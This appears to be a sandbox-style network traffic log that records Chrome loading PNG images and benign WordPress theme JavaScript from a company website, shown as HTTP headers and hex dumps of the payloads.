2024-10-07 12:10:16 UTC	8000	IN	Data Raw: d2 5e 9c 8b 63 c9 55 60 1f bf 2a e9 75 42 63 67 d5 33 ea a2 f6 0e 49 92 e8 fd 0e 98 1a 11 14 fa d9 d7 01 aa dd 0e d7 b3 54 b2 11 8a 73 e7 3a 30 c7 ac a8 a7 62 79 e3 21 8e 75 e5 f8 9c e1 b2 67 a5 05 df 63 55 2c 4a e4 35 79 4d 78 06 e1 c2 0f 21 d8 9c a5 55 77 cb 16 79 28 cd 23 30 0f 4c b4 e8 46 67 cd b4 7a b5 b4 6f 2c e0 a4 0b ae 20 31 0d 38 6d fb 30 d7 90 27 bf 15 42 98 27 4b 52 6a b3 53 85 07 4b be ff 58 f3 7c 24 7d 57 99 42 24 5e ef 1c 5f 06 b2 bf ec db db 0b 28 7c 2b ad f8 3c 4c f6 ac a4 d7 44 39 46 cd 10 14 e6 f2 9e 0f 81 e0 9d 23 e9 be a5 02 2f 6b 0d a0 6c 57 3d 43 e8 2c 09 8e 09 b3 be ff a7 10 fa 03 09 96 8f c2 db df 87 62 3b cb 36 e2 da ae b6 8c a4 b0 5b 37 50 bf 93 14 74 ad 8b cf b9 a6 ae 2f c7 b9 42 92 44 fc 29 52 52 eb cc 36 02 ef f4 69 78 28 fe Data Ascii: ^cU`*uBcg3ITs:0by!ugcU,J5yMx!Uwy(#0LFgzo, 18m0'B'KRjSKX\|$}WB$^_(\|+<LD9F#/klW=C,b;6[7Pt/BD)RR6ix(
2024-10-07 12:10:16 UTC	2710	IN	Data Raw: 89 a0 b8 65 e6 bb 49 18 e8 67 de 88 73 aa d9 f8 0c 88 bf 41 e7 b9 98 c2 1e b3 12 1a bf 4d 11 4a 6d c7 14 fe b7 92 cc d6 19 b2 74 b8 93 a0 0f 2f b5 88 21 87 48 0b 5b 77 4a 6b f3 32 28 21 91 80 41 22 2b c0 b6 b6 9d cf 90 65 a6 65 62 bb f1 f7 76 20 b4 76 2f 93 d0 8c 15 12 88 c3 12 5a f2 98 e0 98 84 45 73 dc 74 c9 a5 c0 a0 e6 ff b4 a4 7b 7b 15 6f ef 73 d1 78 8b 4c 95 32 ad db 4a 9c 3e 03 c2 31 b0 c4 c0 0f cd ce f9 7e 1f ac df ea 1e 37 00 88 68 3a 3f 4b f3 73 ef 76 a6 68 49 e2 b1 04 d3 74 1e 0b 7b d4 89 a1 0d fa af 12 93 14 c8 bf 3f e8 18 c7 34 76 96 f6 77 12 60 95 90 19 d7 90 38 de 77 11 81 36 03 84 40 9b 2f 36 ee d6 fd aa 45 00 89 ad 84 d7 da 65 e1 e3 12 27 1c a8 d0 fd 52 17 e6 e0 4e f0 b6 e6 09 67 c9 18 5d 65 01 f4 3c 29 c9 fd ab d6 e3 bd 8b 48 88 cd 40 28 Data Ascii: eIgsAMJmt/!H[wJk2(!A"+eebv v/ZEst{{osxL2J>1~7h:?KsvhIt{?4vw`8w6@/6Ee'RNg]e<)H@(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49777	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:16 UTC	483	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/q1.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:05 GMT Accept-Ranges: bytes Content-Length: 13737 Content-Type: image/png
2024-10-07 12:10:16 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c8 00 00 00 ae 08 06 00 00 00 73 f5 42 d9 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 16 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRsBtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 12:10:16 UTC	5778	IN	Data Raw: ac 76 f4 53 6a 83 57 c4 7d fc 8c 5b 70 5f 2b 88 bc 1d fd 94 2b f6 f3 d1 cf 95 98 ab 9b a0 65 da 04 8e d8 62 f8 13 15 2e 4c be 00 ba f8 0f 79 15 68 d4 06 b5 b3 60 45 48 33 ed 05 f2 93 22 09 7f 2f 00 9c 4b fe 8e d0 fd 31 4f 72 5f 0c 5f 33 5b dc bb 12 f4 b7 0a 16 c5 93 a0 ab 99 e4 17 f4 c8 81 c9 1e 16 f7 bd 83 f7 f2 7d 8f 41 b3 f1 fd 3b c1 c2 38 2c 2c 62 6a 33 33 a4 52 29 aa ab 4b a7 ac 42 ef 5c 96 7e 61 e9 b2 03 a4 e0 2f c8 3f 45 76 0f 0c 4a a9 be db 03 5e c4 d5 3e 1e c5 df fb 42 f2 85 a5 55 58 1a f3 cd c6 04 e5 c1 80 87 05 98 45 41 41 07 45 48 37 08 fb f7 22 98 42 51 bb f7 74 24 c9 fe 3c 22 fe 9e 06 9c e8 b8 22 2a ac be f2 92 50 e3 dc bf 4f 69 d7 a6 8a 8c 69 2c 79 79 57 ff 86 09 32 28 a4 5f f2 3e ee ff 04 08 95 67 41 10 83 34 06 b6 34 7c a9 7b 46 c2 2c fd Data Ascii: vSjW}[p_++eb.Lyh`EH3"/K1Or__3[}A;8,,bj33R)KB\~a/?EvJ^>BUXEAAEH7"BQt$<""*POii,yyW2(_>gA44\|{F,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49779	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:16 UTC	496	OUT	GET /2016/wp-content/themes/twb_2016/assets/scripts/main.min.js?ver=20120206 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:40 GMT Accept-Ranges: bytes Content-Length: 48520 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:16 UTC	7923	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6e 61 76 69 67 61 74 69 6f 6e 28 29 7b 24 28 22 23 6d 6f 62 69 6c 65 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 20 74 6f 75 63 68 73 74 61 72 74 22 2c 22 61 2e 6d 6f 62 69 6c 65 2d 6e 61 76 2d 74 72 69 67 67 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 24 28 22 62 6f 64 79 22 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 22 6d 65 6e 75 2d 6f 70 65 6e 22 29 7d 29 2c 24 28 22 23 70 72 69 6d 61 72 79 2d 6e 61 76 20 6c 69 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 20 74 6f 75 63 68 73 74 61 72 74 22 2c 22 2e 6e 65 78 74 2d 6d 65 6e 75 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 73 74 6f Data Ascii: function navigation(){$("#mobile-nav-container").on("click touchstart","a.mobile-nav-trigger",function(a){a.stopPropagation(),a.preventDefault(),$("body").toggleClass("menu-open")}),$("#primary-nav li").on("click touchstart",".next-menu",function(a){a.sto
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 5f 65 76 65 6e 74 73 3d 7b 7d 29 7d 2c 61 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 45 76 65 6e 74 45 6d 69 74 74 65 72 3d 66 2c 61 7d 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 65 76 65 6e 74 45 6d 69 74 74 65 72 2f 45 76 65 6e 74 45 6d 69 74 74 65 72 22 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 3a 65 2e 45 76 65 6e 74 45 6d 69 74 74 65 72 3d 61 7d 2e 63 61 6c 6c 28 74 68 69 73 29 2c 66 75 6e 63 74 69 6f Data Ascii: _events={})},a.noConflict=function(){return e.EventEmitter=f,a},"function"==typeof define&&define.amd?define("eventEmitter/EventEmitter",[],function(){return a}):"object"==typeof module&&module.exports?module.exports=a:e.EventEmitter=a}.call(this),functio
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 7b 7d 2c 62 3d 30 2c 63 3d 70 2e 6c 65 6e 67 74 68 3b 63 3e 62 3b 62 2b 2b 29 7b 76 61 72 20 65 3d 70 5b 62 5d 2c 66 3d 64 28 65 29 3b 66 26 26 66 21 3d 3d 65 26 26 28 61 5b 65 5d 3d 66 29 7d 72 65 74 75 72 6e 20 61 7d 28 29 3b 65 2e 65 78 74 65 6e 64 28 67 2e 70 72 6f 74 6f 74 79 70 65 2c 62 2e 70 72 6f 74 6f 74 79 70 65 29 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 63 72 65 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 74 72 61 6e 73 6e 3d 7b 69 6e 67 50 72 6f 70 65 72 74 69 65 73 3a 7b 7d 2c 63 6c 65 61 6e 3a 7b 7d 2c 6f 6e 45 6e 64 3a 7b 7d 7d 2c 74 68 69 73 2e 63 73 73 28 7b 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 7d 29 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 6e 64 6c Data Ascii: n(){for(var a={},b=0,c=p.length;c>b;b++){var e=p[b],f=d(e);f&&f!==e&&(a[e]=f)}return a}();e.extend(g.prototype,b.prototype),g.prototype._create=function(){this._transn={ingProperties:{},clean:{},onEnd:{}},this.css({position:"absolute"})},g.prototype.handl
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 68 69 73 2e 73 69 7a 65 3d 64 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 4d 65 61 73 75 72 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 66 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 5b 61 5d 3b 66 3f 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 66 3f 63 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 66 29 3a 65 2e 69 73 45 6c 65 6d 65 6e 74 28 66 29 26 26 28 63 3d 66 29 2c 74 68 69 73 5b 61 5d 3d 63 3f 64 28 63 29 5b 62 5d 3a 66 29 3a 74 68 69 73 5b 61 5d 3d 30 7d 2c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 61 79 6f 75 74 49 74 65 6d 73 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 73 46 Data Ascii: his.size=d(this.element)},g.prototype._getMeasurement=function(a,b){var c,f=this.options[a];f?("string"==typeof f?c=this.element.querySelector(f):e.isElement(f)&&(c=f),this[a]=c?d(c)[b]:f):this[a]=0},g.prototype.layoutItems=function(a,b){a=this._getItemsF
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 74 6f 74 79 70 65 2e 67 65 74 43 6f 6c 75 6d 6e 57 69 64 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 28 22 63 6f 6c 75 6d 6e 22 2c 22 57 69 64 74 68 22 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 52 6f 77 48 65 69 67 68 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 74 68 69 73 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 28 22 72 6f 77 22 2c 22 48 65 69 67 68 74 22 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 53 65 67 6d 65 6e 74 53 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2b 62 2c 64 3d 22 6f 75 74 65 72 22 2b 62 3b 69 66 28 74 68 69 73 2e 5f 67 65 74 4d 65 61 73 75 72 65 6d 65 6e 74 28 63 2c 64 29 2c 21 74 68 69 73 5b 63 5d 29 7b 76 61 72 20 65 3d 74 Data Ascii: totype.getColumnWidth=function(){this.getSegmentSize("column","Width")},c.prototype.getRowHeight=function(){this.getSegmentSize("row","Height")},c.prototype.getSegmentSize=function(a,b){var c=a+b,d="outer"+b;if(this._getMeasurement(c,d),!this[c]){var e=t
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 72 65 64 49 74 65 6d 73 3d 63 2e 6d 61 74 63 68 65 73 3b 76 61 72 20 64 3d 74 68 69 73 3b 74 68 69 73 2e 5f 62 69 6e 64 41 72 72 61 6e 67 65 43 6f 6d 70 6c 65 74 65 28 29 2c 74 68 69 73 2e 5f 69 73 49 6e 73 74 61 6e 74 3f 74 68 69 73 2e 5f 6e 6f 54 72 61 6e 73 69 74 69 6f 6e 28 62 29 3a 62 28 29 2c 74 68 69 73 2e 5f 73 6f 72 74 28 29 2c 74 68 69 73 2e 5f 6c 61 79 6f 75 74 28 29 7d 2c 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 6e 69 74 3d 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 61 72 72 61 6e 67 65 2c 6d 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 67 65 74 49 73 49 6e 73 74 61 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 76 6f 69 64 20 30 21 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 69 73 4c 61 79 6f 75 74 49 6e 73 74 61 6e 74 3f 74 68 69 73 2e 6f 70 Data Ascii: redItems=c.matches;var d=this;this._bindArrangeComplete(),this._isInstant?this._noTransition(b):b(),this._sort(),this._layout()},m.prototype._init=m.prototype.arrange,m.prototype._getIsInstant=function(){var a=void 0!==this.options.isLayoutInstant?this.op
2024-10-07 12:10:16 UTC	597	IN	Data Raw: 74 28 29 2e 6c 65 66 74 29 5d 28 22 6f 6e 58 22 29 7d 29 2e 6f 6e 28 22 63 6c 69 63 6b 22 2c 22 2e 6f 6e 58 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 24 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 78 20 6f 6e 58 22 29 2e 76 61 6c 28 22 22 29 2e 63 68 61 6e 67 65 28 29 7d 29 2c 24 28 22 23 73 65 61 72 63 68 2d 66 69 6c 74 65 72 22 29 2e 66 61 73 74 4c 69 76 65 46 69 6c 74 65 72 28 22 2e 72 65 73 6f 75 72 63 65 73 22 29 2c 24 28 22 23 73 65 61 72 63 68 2d 66 69 6c 74 65 72 22 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 2c 24 28 22 61 5b 64 61 74 61 2d 72 65 6c 5e 3d 6c 69 67 68 74 63 61 73 65 5d 22 29 2e 6c 69 67 68 74 63 61 73 65 28 29 2c 6e 61 76 69 67 61 74 69 6f 6e 28 29 2c 73 75 62 4e 61 76 69 67 61 74 69 6f 6e 28 29 2c 61 63 Data Ascii: t().left)]("onX")}).on("click",".onX",function(){$(this).removeClass("x onX").val("").change()}),$("#search-filter").fastLiveFilter(".resources"),$("#search-filter").trigger("change"),$("a[data-rel^=lightcase]").lightcase(),navigation(),subNavigation(),ac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49784	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:16 UTC	495	OUT	GET /2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	267	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:20 GMT Accept-Ranges: bytes Content-Length: 751 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 12:10:16 UTC	751	IN	Data Raw: 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 69 73 5f 77 65 62 6b 69 74 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 77 65 62 6b 69 74 27 20 29 20 3e 20 2d 31 2c 0a 09 20 20 20 20 69 73 5f 6f 70 65 72 61 20 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 6f 70 65 72 61 27 20 29 20 20 3e 20 2d 31 2c 0a 09 20 20 20 20 69 73 5f 69 65 20 20 20 20 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 20 27 6d 73 69 65 27 20 29 20 20 20 3e 20 2d 31 3b 0a 0a 09 69 66 20 28 20 28 20 Data Ascii: ( function() {var is_webkit = navigator.userAgent.toLowerCase().indexOf( 'webkit' ) > -1, is_opera = navigator.userAgent.toLowerCase().indexOf( 'opera' ) > -1, is_ie = navigator.userAgent.toLowerCase().indexOf( 'msie' ) > -1;if ( (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49783	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:16 UTC	731	OUT	GET /2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1
2024-10-07 12:10:16 UTC	235	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:16 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 12 Feb 2018 15:38:01 GMT Accept-Ranges: bytes Content-Length: 4140692 Content-Type: image/png
2024-10-07 12:10:16 UTC	7957	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 04 38 08 06 00 00 00 e8 d3 c1 43 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 ff a5 49 44 41 54 78 5e b4 fd 69 48 5d d9 da f7 8d de a9 bd 0b aa 52 95 10 12 8c a2 88 8a 0d a8 b8 d6 42 50 51 14 11 15 45 41 45 51 41 d6 62 b9 16 b8 d4 85 62 83 0d 2a 76 88 3d d8 24 24 a4 21 0d 09 a9 34 90 a6 92 22 a9 84 84 f4 c4 74 a4 93 24 a6 af aa 5d b5 ab 76 ed 5d cf fd be f7 fb 1c ce 79 df 0f ff 73 fd af e9 58 59 49 65 df cf 79 3e 9c 0f 7f c6 98 63 f6 63 8e 39 e6 18 f3 37 ae 6b fc 47 45 69 0a 4a 8a 12 51 98 17 8b fc 9c 68 14 e4 c6 e8 72 59 a9 1d 55 95 e9 28 2f 4b 47 71 91 0d 99 59 f1 70 a4 46 21 2e Data Ascii: PNGIHDR8CsRGBgAMAapHYsodIDATx^iH]RBPQEAEQAbb*v=$$!4"t$]v]ysXYIey>cc97kGEiJQhrYU(/KGqYpF!.
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 57 23 52 5f 0d e2 d5 8b 51 bc 7d 31 26 ef e3 6a b8 32 8c b7 cf 87 14 00 bf 79 2a ef 6e 30 00 96 fa c2 02 9a 9f 00 c0 8f 9a 02 fa 14 00 7e f2 a0 09 f7 ef 70 30 4d a3 d4 a3 7e 6b 70 c9 a3 b6 0f f5 50 ea 1d d6 c9 ab 10 98 e0 f7 f5 72 c7 aa e4 1a e4 5a 56 1e 75 4a 7d ee c7 fd 5b 8d b8 77 b3 09 4b d7 9b 70 eb 5a a3 c2 60 05 c2 d7 fd b8 75 b5 05 b7 24 bc 7e ad 59 75 e3 86 6c 27 eb ee dd 6e c5 f2 a3 9e 55 f8 db 85 a7 0f da f0 ec 91 d4 dd 4f e4 be 9e 4a 9d f8 8c 83 5b a4 be 24 10 26 00 96 73 12 fe be 15 bd 7a dc 86 57 72 9f d4 9b e5 36 51 0b de 3d 63 d8 ac 7a 2d 7a f5 a4 49 43 ae fb 58 6f 9f fa 65 5d a3 6c e3 53 31 ce fd 7e 90 3a f1 87 e7 72 de c7 52 47 3f 90 6b bb dd 8b 27 37 fb 70 fb 52 37 ae 9e 6e c7 b7 df 34 e1 d8 de 46 05 c1 07 b7 35 62 d7 6c 3d b6 4f b8 30 Data Ascii: W#R_Q}1&j2y*n0~p0M~kpPrZVuJ}[wKpZ`u$~Yul'nUOJ[$&szWr6Q=cz-zICXoe]lS1~:rRG?k'7pR7n4F5bl=O0
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: f0 f8 6a b6 82 60 5a 03 2f 5f 4b c3 d3 1b a9 12 26 e1 c9 d5 38 3c ba 18 89 fb df 87 e0 e9 b5 48 bc 5c 8a c7 eb bb b4 fa 4d c6 3b b5 fe b5 60 aa ea 7e 2c 68 a1 ab f0 97 90 77 d5 ba d7 82 b9 b1 7f 12 ad 6b 3f 25 0b ba 5a 71 5a e1 72 99 00 98 c7 b4 2c 80 63 56 01 f0 87 00 97 d6 bb 8c 73 5d c0 ca 57 ae 8b f0 97 fb 31 34 30 58 21 f5 ea be 6a f5 bb 14 2a d7 49 00 6c c1 5f 03 80 ad eb e0 f5 d2 6d 32 af c3 92 b9 4e 6e 13 00 c5 ab fb e9 b5 ae de 7b 40 0a 80 25 14 19 0b df 8f 97 5f 3f 4c 94 90 56 bf 92 c7 12 37 7a 71 3f 0e 2b f7 24 9f 1f d8 f0 fa 7e 0a 5e dd 4b c6 cb bb 92 7e 27 41 af eb 4f 16 c0 ab 10 f8 a9 3c 2b 03 83 55 41 70 f7 03 00 1c 0c 7c 83 b6 09 86 bf 5c 26 fc fd 77 00 98 16 be 4f 3f 01 80 4d 1a e1 f9 f2 8d 28 3c be 12 8d 07 17 a9 58 51 bc 82 60 42 60 5a Data Ascii: j`Z/_K&8<H\M;`~,hwk?%ZqZr,cVs]W140X!j*Il_m2Nn{@%_?LV7zq?+$~^K~'AO<+UAp\|\&wO?M(<XQ`B`Z
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: fb dc 8e b9 5d f3 e0 9c e7 f4 02 41 00 1c 97 9e 88 78 e9 0f 50 89 d2 37 88 95 7e 41 74 ba b4 ed 24 4c c8 4e d2 1f 1c fc 61 93 5d 28 df be b2 38 9d de c4 e7 4a 40 8b 74 cc fc ce 75 d2 b9 0b c5 fe 79 69 f3 ec ce 0e 00 e0 ef 76 a5 e3 d0 74 3c 16 fa 42 30 d1 be 41 2d 80 0d 00 e6 60 28 5a 00 27 24 ad d7 51 c7 71 49 f1 da de dc 1c 9b 84 4d ab 16 c0 66 b4 34 3b cf c1 23 aa 3f 06 c0 a6 a3 1d dc 09 37 22 c8 35 80 38 38 fe 71 a7 9d b0 d7 58 f6 7e 1c 7e 1d 67 cd 21 4c d8 cb 11 e3 a1 29 4c 7f 0f 80 d7 c7 70 2e 29 8e 08 cf 42 48 3c ad 81 b3 25 6e cd 17 45 ef 39 6c 33 eb 08 ff c4 cd ea a2 6e f7 ee 3e 3c b8 7f 00 2f 57 8e 62 f9 c9 0e ac 3c df 29 e1 24 5e bf 98 c1 ca b3 11 bc 78 d6 fb 27 00 6c dc 1f 07 c3 5f 23 c2 de 00 04 5e d5 07 00 98 fa 37 10 38 18 74 1a 00 6a f4 f1 Data Ascii: ]AxP7~At$LNa](8J@tuyivt<B0A-`(Z'$QqIMf4;#?7"588qX~~g!L)Lp.)BH<%nE9l3n></Wb<)$^x'l_#^78tj
2024-10-07 12:10:16 UTC	8000	IN	Data Raw: 91 5d 99 38 b6 33 4d a7 25 d8 bf cd 86 f9 a9 18 b4 b6 7e 8e ea ba 35 28 ad 5e 83 ec 92 cf 3e 00 c0 a9 e5 29 1f 01 e0 32 75 27 4c a0 d9 d4 d9 a0 1d 5d ce 2b 5e db 54 23 df f2 3f 03 60 86 26 7f 0c f4 a5 4c dc e4 3d 97 cd f3 60 9c 69 5c 47 30 4c eb e0 e0 7d 99 ce 6d f9 0c cd b3 64 9e 32 af 18 32 ef 08 7b 4d 68 20 3c 65 f2 99 62 ba 01 c0 c1 cf ca ac a7 b8 8e c7 e4 3a 73 3e 5e 23 cb 0a e3 2c 2b 8c f3 7a b8 1c 0c 80 29 ae 23 00 a6 f5 b6 b1 ee 35 f3 46 7d 0c 80 f9 7c cd 36 04 c0 fc 61 67 00 b0 5a f7 3a 38 c2 34 56 43 03 83 8d f5 2f 3b 1c ec 94 44 24 72 9a 8f 58 a4 17 e6 c8 f1 a4 f3 b6 6b 11 43 73 23 28 ab af 90 ed 09 8a c3 a5 4d 19 8e 08 f9 86 12 f8 1a 00 cc e5 a8 54 9e 83 2e a7 c3 91 94 1a ae 03 df d8 79 6a f6 d8 d5 9b 05 a7 26 e0 7c 3e 